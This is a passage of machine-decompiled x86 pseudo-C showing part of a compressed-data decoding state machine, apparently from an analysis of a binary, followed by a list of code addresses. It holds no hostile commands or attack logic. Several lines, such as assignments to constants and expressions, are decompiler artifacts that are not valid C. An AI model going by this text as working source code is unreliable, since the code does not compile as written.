                                      											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      											__eflags =  *(__ebp - 0x38) - 4;
                                      											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      											if( *(__ebp - 0x38) >= 4) {
                                      												__eflags =  *(__ebp - 0x38) - 0xa;
                                      												if( *(__ebp - 0x38) >= 0xa) {
                                      													_t98 = __ebp - 0x38;
                                      													 *_t98 =  *(__ebp - 0x38) - 6;
                                      													__eflags =  *_t98;
                                      												} else {
                                      													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      												}
                                      											} else {
                                      												 *(__ebp - 0x38) = 0;
                                      											}
                                      											__eflags =  *(__ebp - 0x34) - __edx;
                                      											if( *(__ebp - 0x34) == __edx) {
                                      												L35:
                                      												__ebx = 0;
                                      												__ebx = 1;
                                      												goto L61;
                                      											} else {
                                      												L32:
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__ecx =  *(__ebp - 8);
                                      												__ebx = 0;
                                      												__ebx = 1;
                                      												__al =  *((intOrPtr*)(__eax + __ecx));
                                      												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      												goto L41;
                                      											}
                                      										case 7:
                                      											L66:
                                      											__eflags =  *(__ebp - 0x40) - 1;
                                      											if( *(__ebp - 0x40) != 1) {
                                      												L68:
                                      												__eax =  *(__ebp - 0x24);
                                      												 *(__ebp - 0x80) = 0x16;
                                      												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      												__eax =  *(__ebp - 0x28);
                                      												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      												__eax =  *(__ebp - 0x2c);
                                      												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      												__eax = 0;
                                      												__eflags =  *(__ebp - 0x38) - 7;
                                      												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      												__al = __al & 0x000000fd;
                                      												__eax = (__eflags >= 0) - 1 + 0xa;
                                      												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                      												__eax =  *(__ebp - 4);
                                      												__eax =  *(__ebp - 4) + 0x664;
                                      												__eflags = __eax;
                                      												 *(__ebp - 0x58) = __eax;
                                      												goto L69;
                                      											}
                                      											L67:
                                      											__eax =  *(__ebp - 4);
                                      											__ecx =  *(__ebp - 0x38);
                                      											 *(__ebp - 0x84) = 8;
                                      											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                      											goto L132;
                                      										case 8:
                                      											L70:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x84) = 0xa;
                                      												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                      											} else {
                                      												__eax =  *(__ebp - 0x38);
                                      												__ecx =  *(__ebp - 4);
                                      												__eax =  *(__ebp - 0x38) + 0xf;
                                      												 *(__ebp - 0x84) = 9;
                                      												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                      											}
                                      											goto L132;
                                      										case 9:
                                      											L73:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												goto L90;
                                      											}
                                      											L74:
                                      											__eflags =  *(__ebp - 0x60);
                                      											if( *(__ebp - 0x60) == 0) {
                                      												goto L171;
                                      											}
                                      											L75:
                                      											__eax = 0;
                                      											__eflags =  *(__ebp - 0x38) - 7;
                                      											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                      											__eflags = _t259;
                                      											0 | _t259 = _t259 + _t259 + 9;
                                      											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                      											goto L76;
                                      										case 0xa:
                                      											L82:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												L84:
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x84) = 0xb;
                                      												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                      												goto L132;
                                      											}
                                      											L83:
                                      											__eax =  *(__ebp - 0x28);
                                      											goto L89;
                                      										case 0xb:
                                      											L85:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__ecx =  *(__ebp - 0x24);
                                      												__eax =  *(__ebp - 0x20);
                                      												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      											} else {
                                      												__eax =  *(__ebp - 0x24);
                                      											}
                                      											__ecx =  *(__ebp - 0x28);
                                      											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      											L89:
                                      											__ecx =  *(__ebp - 0x2c);
                                      											 *(__ebp - 0x2c) = __eax;
                                      											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      											L90:
                                      											__eax =  *(__ebp - 4);
                                      											 *(__ebp - 0x80) = 0x15;
                                      											__eax =  *(__ebp - 4) + 0xa68;
                                      											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                      											goto L69;
                                      										case 0xc:
                                      											L99:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												L164:
                                      												 *(__ebp - 0x88) = 0xc;
                                      												goto L170;
                                      											}
                                      											L100:
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t334 = __ebp - 0x70;
                                      											 *_t334 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t334;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											__eax =  *(__ebp - 0x2c);
                                      											goto L101;
                                      										case 0xd:
                                      											L37:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												L159:
                                      												 *(__ebp - 0x88) = 0xd;
                                      												goto L170;
                                      											}
                                      											L38:
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t122 = __ebp - 0x70;
                                      											 *_t122 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t122;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L39:
                                      											__eax =  *(__ebp - 0x40);
                                      											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                      												goto L48;
                                      											}
                                      											L40:
                                      											__eflags = __ebx - 0x100;
                                      											if(__ebx >= 0x100) {
                                      												goto L54;
                                      											}
                                      											L41:
                                      											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                      											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                      											 *(__ebp - 0x48) = __eax;
                                      											__eax = __eax + 1;
                                      											__eax = __eax << 8;
                                      											__eax = __eax + __ebx;
                                      											__esi =  *(__ebp - 0x58) + __eax * 2;
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      											__ax =  *__esi;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__edx = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												 *(__ebp - 0x40) = 1;
                                      												__cx = __ax >> 5;
                                      												__eflags = __eax;
                                      												__ebx = __ebx + __ebx + 1;
                                      												 *__esi = __ax;
                                      											} else {
                                      												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edx;
                                      												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                      												__ebx = __ebx + __ebx;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											 *(__ebp - 0x44) = __ebx;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L39;
                                      											} else {
                                      												L45:
                                      												goto L37;
                                      											}
                                      										case 0xe:
                                      											L46:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												L160:
                                      												 *(__ebp - 0x88) = 0xe;
                                      												goto L170;
                                      											}
                                      											L47:
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t156 = __ebp - 0x70;
                                      											 *_t156 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t156;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											while(1) {
                                      												L48:
                                      												__eflags = __ebx - 0x100;
                                      												if(__ebx >= 0x100) {
                                      													break;
                                      												}
                                      												L49:
                                      												__eax =  *(__ebp - 0x58);
                                      												__edx = __ebx + __ebx;
                                      												__ecx =  *(__ebp - 0x10);
                                      												__esi = __edx + __eax;
                                      												__ecx =  *(__ebp - 0x10) >> 0xb;
                                      												__ax =  *__esi;
                                      												 *(__ebp - 0x54) = __esi;
                                      												__edi = __ax & 0x0000ffff;
                                      												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      												__eflags =  *(__ebp - 0xc) - __ecx;
                                      												if( *(__ebp - 0xc) >= __ecx) {
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      													__cx = __ax;
                                      													_t170 = __edx + 1; // 0x1
                                      													__ebx = _t170;
                                      													__cx = __ax >> 5;
                                      													__eflags = __eax;
                                      													 *__esi = __ax;
                                      												} else {
                                      													 *(__ebp - 0x10) = __ecx;
                                      													0x800 = 0x800 - __edi;
                                      													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      													__ebx = __ebx + __ebx;
                                      													 *__esi = __cx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													continue;
                                      												} else {
                                      													L53:
                                      													goto L46;
                                      												}
                                      											}
                                      											L54:
                                      											_t173 = __ebp - 0x34;
                                      											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                      											__eflags =  *_t173;
                                      											goto L55;
                                      										case 0xf:
                                      											L58:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												L161:
                                      												 *(__ebp - 0x88) = 0xf;
                                      												goto L170;
                                      											}
                                      											L59:
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t203 = __ebp - 0x70;
                                      											 *_t203 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t203;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L60:
                                      											__eflags = __ebx - 0x100;
                                      											if(__ebx >= 0x100) {
                                      												L55:
                                      												__al =  *(__ebp - 0x44);
                                      												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                      												goto L56;
                                      											}
                                      											L61:
                                      											__eax =  *(__ebp - 0x58);
                                      											__edx = __ebx + __ebx;
                                      											__ecx =  *(__ebp - 0x10);
                                      											__esi = __edx + __eax;
                                      											__ecx =  *(__ebp - 0x10) >> 0xb;
                                      											__ax =  *__esi;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__edi = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												_t217 = __edx + 1; // 0x1
                                      												__ebx = _t217;
                                      												__cx = __ax >> 5;
                                      												__eflags = __eax;
                                      												 *__esi = __ax;
                                      											} else {
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edi;
                                      												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      												__ebx = __ebx + __ebx;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											 *(__ebp - 0x44) = __ebx;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L60;
                                      											} else {
                                      												L65:
                                      												goto L58;
                                      											}
                                      										case 0x10:
                                      											L109:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												L165:
                                      												 *(__ebp - 0x88) = 0x10;
                                      												goto L170;
                                      											}
                                      											L110:
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t365 = __ebp - 0x70;
                                      											 *_t365 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t365;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											goto L111;
                                      										case 0x11:
                                      											L69:
                                      											__esi =  *(__ebp - 0x58);
                                      											 *(__ebp - 0x84) = 0x12;
                                      											goto L132;
                                      										case 0x12:
                                      											L128:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												L131:
                                      												__eax =  *(__ebp - 0x58);
                                      												 *(__ebp - 0x84) = 0x13;
                                      												__esi =  *(__ebp - 0x58) + 2;
                                      												L132:
                                      												 *(_t644 - 0x54) = _t642;
                                      												goto L133;
                                      											}
                                      											L129:
                                      											__eax =  *(__ebp - 0x4c);
                                      											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax =  *(__ebp - 0x4c) << 4;
                                      											__eflags = __eax;
                                      											__eax =  *(__ebp - 0x58) + __eax + 4;
                                      											goto L130;
                                      										case 0x13:
                                      											L141:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												L143:
                                      												_t469 = __ebp - 0x58;
                                      												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                      												__eflags =  *_t469;
                                      												 *(__ebp - 0x30) = 0x10;
                                      												 *(__ebp - 0x40) = 8;
                                      												L144:
                                      												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
                                      												L145:
                                      												 *(_t644 - 0x50) = 1;
                                      												 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                      												goto L149;
                                      											}
                                      											L142:
                                      											__eax =  *(__ebp - 0x4c);
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax =  *(__ebp - 0x4c) << 4;
                                      											 *(__ebp - 0x30) = 8;
                                      											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                      											L130:
                                      											 *(__ebp - 0x58) = __eax;
                                      											 *(__ebp - 0x40) = 3;
                                      											goto L144;
                                      										case 0x14:
                                      											L156:
                                      											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                      											__eax =  *(__ebp - 0x80);
                                      											while(1) {
                                      												L140:
                                      												 *(_t644 - 0x88) = _t537;
                                      												goto L1;
                                      											}
                                      										case 0x15:
                                      											L91:
                                      											__eax = 0;
                                      											__eflags =  *(__ebp - 0x38) - 7;
                                      											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      											__al = __al & 0x000000fd;
                                      											__eax = (__eflags >= 0) - 1 + 0xb;
                                      											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                      											goto L120;
                                      										case 0x16:
                                      											goto L0;
                                      										case 0x17:
                                      											while(1) {
                                      												L145:
                                      												 *(_t644 - 0x50) = 1;
                                      												 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                      												goto L149;
                                      											}
                                      										case 0x18:
                                      											goto L146;
                                      										case 0x19:
                                      											L94:
                                      											__eflags = __ebx - 4;
                                      											if(__ebx < 4) {
                                      												L98:
                                      												 *(__ebp - 0x2c) = __ebx;
                                      												L119:
                                      												_t393 = __ebp - 0x2c;
                                      												 *_t393 =  *(__ebp - 0x2c) + 1;
                                      												__eflags =  *_t393;
                                      												L120:
                                      												__eax =  *(__ebp - 0x2c);
                                      												__eflags = __eax;
                                      												if(__eax == 0) {
                                      													L166:
                                      													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                      													goto L170;
                                      												}
                                      												L121:
                                      												__eflags = __eax -  *(__ebp - 0x60);
                                      												if(__eax >  *(__ebp - 0x60)) {
                                      													goto L171;
                                      												}
                                      												L122:
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                      												__eax =  *(__ebp - 0x30);
                                      												_t400 = __ebp - 0x60;
                                      												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                      												__eflags =  *_t400;
                                      												goto L123;
                                      											}
                                      											L95:
                                      											__ecx = __ebx;
                                      											__eax = __ebx;
                                      											__ecx = __ebx >> 1;
                                      											__eax = __ebx & 0x00000001;
                                      											__ecx = (__ebx >> 1) - 1;
                                      											__al = __al | 0x00000002;
                                      											__eax = (__ebx & 0x00000001) << __cl;
                                      											__eflags = __ebx - 0xe;
                                      											 *(__ebp - 0x2c) = __eax;
                                      											if(__ebx >= 0xe) {
                                      												L97:
                                      												__ebx = 0;
                                      												 *(__ebp - 0x48) = __ecx;
                                      												L102:
                                      												__eflags =  *(__ebp - 0x48);
                                      												if( *(__ebp - 0x48) <= 0) {
                                      													L107:
                                      													__eax = __eax + __ebx;
                                      													 *(__ebp - 0x40) = 4;
                                      													 *(__ebp - 0x2c) = __eax;
                                      													__eax =  *(__ebp - 4);
                                      													__eax =  *(__ebp - 4) + 0x644;
                                      													__eflags = __eax;
                                      													L108:
                                      													__ebx = 0;
                                      													 *(__ebp - 0x58) = __eax;
                                      													 *(__ebp - 0x50) = 1;
                                      													 *(__ebp - 0x44) = 0;
                                      													 *(__ebp - 0x48) = 0;
                                      													L112:
                                      													__eax =  *(__ebp - 0x40);
                                      													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                      														L118:
                                      														_t391 = __ebp - 0x2c;
                                      														 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                      														__eflags =  *_t391;
                                      														goto L119;
                                      													}
                                      													L113:
                                      													__eax =  *(__ebp - 0x50);
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      													__eax =  *(__ebp - 0x58);
                                      													__esi = __edi + __eax;
                                      													 *(__ebp - 0x54) = __esi;
                                      													__ax =  *__esi;
                                      													__ecx = __ax & 0x0000ffff;
                                      													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                      													__eflags =  *(__ebp - 0xc) - __edx;
                                      													if( *(__ebp - 0xc) >= __edx) {
                                      														__ecx = 0;
                                      														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                      														__ecx = 1;
                                      														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                      														__ebx = 1;
                                      														__ecx =  *(__ebp - 0x48);
                                      														__ebx = 1 << __cl;
                                      														__ecx = 1 << __cl;
                                      														__ebx =  *(__ebp - 0x44);
                                      														__ebx =  *(__ebp - 0x44) | __ecx;
                                      														__cx = __ax;
                                      														__cx = __ax >> 5;
                                      														__eax = __eax - __ecx;
                                      														__edi = __edi + 1;
                                      														__eflags = __edi;
                                      														 *(__ebp - 0x44) = __ebx;
                                      														 *__esi = __ax;
                                      														 *(__ebp - 0x50) = __edi;
                                      													} else {
                                      														 *(__ebp - 0x10) = __edx;
                                      														0x800 = 0x800 - __ecx;
                                      														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                      														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      														 *__esi = __dx;
                                      													}
                                      													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      													if( *(__ebp - 0x10) >= 0x1000000) {
                                      														L111:
                                      														_t368 = __ebp - 0x48;
                                      														 *_t368 =  *(__ebp - 0x48) + 1;
                                      														__eflags =  *_t368;
                                      														goto L112;
                                      													} else {
                                      														L117:
                                      														goto L109;
                                      													}
                                      												}
                                      												L103:
                                      												__ecx =  *(__ebp - 0xc);
                                      												__ebx = __ebx + __ebx;
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                      												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                      													__ecx =  *(__ebp - 0x10);
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      													__ebx = __ebx | 0x00000001;
                                      													__eflags = __ebx;
                                      													 *(__ebp - 0x44) = __ebx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													L101:
                                      													_t338 = __ebp - 0x48;
                                      													 *_t338 =  *(__ebp - 0x48) - 1;
                                      													__eflags =  *_t338;
                                      													goto L102;
                                      												} else {
                                      													L106:
                                      													goto L99;
                                      												}
                                      											}
                                      											L96:
                                      											__edx =  *(__ebp - 4);
                                      											__eax = __eax - __ebx;
                                      											 *(__ebp - 0x40) = __ecx;
                                      											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                      											goto L108;
                                      										case 0x1a:
                                      											L56:
                                      											__eflags =  *(__ebp - 0x64);
                                      											if( *(__ebp - 0x64) == 0) {
                                      												L162:
                                      												 *(__ebp - 0x88) = 0x1a;
                                      												goto L170;
                                      											}
                                      											L57:
                                      											__ecx =  *(__ebp - 0x68);
                                      											__al =  *(__ebp - 0x5c);
                                      											__edx =  *(__ebp - 8);
                                      											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      											 *( *(__ebp - 0x68)) = __al;
                                      											__ecx =  *(__ebp - 0x14);
                                      											 *(__ecx +  *(__ebp - 8)) = __al;
                                      											__eax = __ecx + 1;
                                      											__edx = 0;
                                      											_t192 = __eax %  *(__ebp - 0x74);
                                      											__eax = __eax /  *(__ebp - 0x74);
                                      											__edx = _t192;
                                      											goto L80;
                                      										case 0x1b:
                                      											L76:
                                      											__eflags =  *(__ebp - 0x64);
                                      											if( *(__ebp - 0x64) == 0) {
                                      												L163:
                                      												 *(__ebp - 0x88) = 0x1b;
                                      												goto L170;
                                      											}
                                      											L77:
                                      											__eax =  *(__ebp - 0x14);
                                      											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      											__eflags = __eax -  *(__ebp - 0x74);
                                      											if(__eax >=  *(__ebp - 0x74)) {
                                      												__eax = __eax +  *(__ebp - 0x74);
                                      												__eflags = __eax;
                                      											}
                                      											__edx =  *(__ebp - 8);
                                      											__cl =  *(__eax + __edx);
                                      											__eax =  *(__ebp - 0x14);
                                      											 *(__ebp - 0x5c) = __cl;
                                      											 *(__eax + __edx) = __cl;
                                      											__eax = __eax + 1;
                                      											__edx = 0;
                                      											_t275 = __eax %  *(__ebp - 0x74);
                                      											__eax = __eax /  *(__ebp - 0x74);
                                      											__edx = _t275;
                                      											__eax =  *(__ebp - 0x68);
                                      											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      											_t284 = __ebp - 0x64;
                                      											 *_t284 =  *(__ebp - 0x64) - 1;
                                      											__eflags =  *_t284;
                                      											 *( *(__ebp - 0x68)) = __cl;
                                      											L80:
                                      											 *(__ebp - 0x14) = __edx;
                                      											goto L81;
                                      										case 0x1c:
                                      											while(1) {
                                      												L123:
                                      												__eflags =  *(__ebp - 0x64);
                                      												if( *(__ebp - 0x64) == 0) {
                                      													break;
                                      												}
                                      												L124:
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__edx =  *(__ebp - 8);
                                      												__cl =  *(__eax + __edx);
                                      												__eax =  *(__ebp - 0x14);
                                      												 *(__ebp - 0x5c) = __cl;
                                      												 *(__eax + __edx) = __cl;
                                      												__eax = __eax + 1;
                                      												__edx = 0;
                                      												_t414 = __eax %  *(__ebp - 0x74);
                                      												__eax = __eax /  *(__ebp - 0x74);
                                      												__edx = _t414;
                                      												__eax =  *(__ebp - 0x68);
                                      												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                      												__eflags =  *(__ebp - 0x30);
                                      												 *( *(__ebp - 0x68)) = __cl;
                                      												 *(__ebp - 0x14) = _t414;
                                      												if( *(__ebp - 0x30) > 0) {
                                      													continue;
                                      												} else {
                                      													L127:
                                      													L81:
                                      													 *(__ebp - 0x88) = 2;
                                      													goto L1;
                                      												}
                                      											}
                                      											L167:
                                      											 *(__ebp - 0x88) = 0x1c;
                                      											goto L170;
                                      									}
                                      								}
                                      								L171:
                                      								_t539 = _t538 | 0xffffffff;
                                      								goto L172;
                                      							}
                                      						}
                                      					}
                                      				}
                                      			}















                                      0x00406d8b
                                      0x00406d8b
                                      0x00406d8b
                                      0x00406d8b
                                      0x00406d91
                                      0x00406d95
                                      0x00406d99
                                      0x00406da3
                                      0x00406db1
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00000000
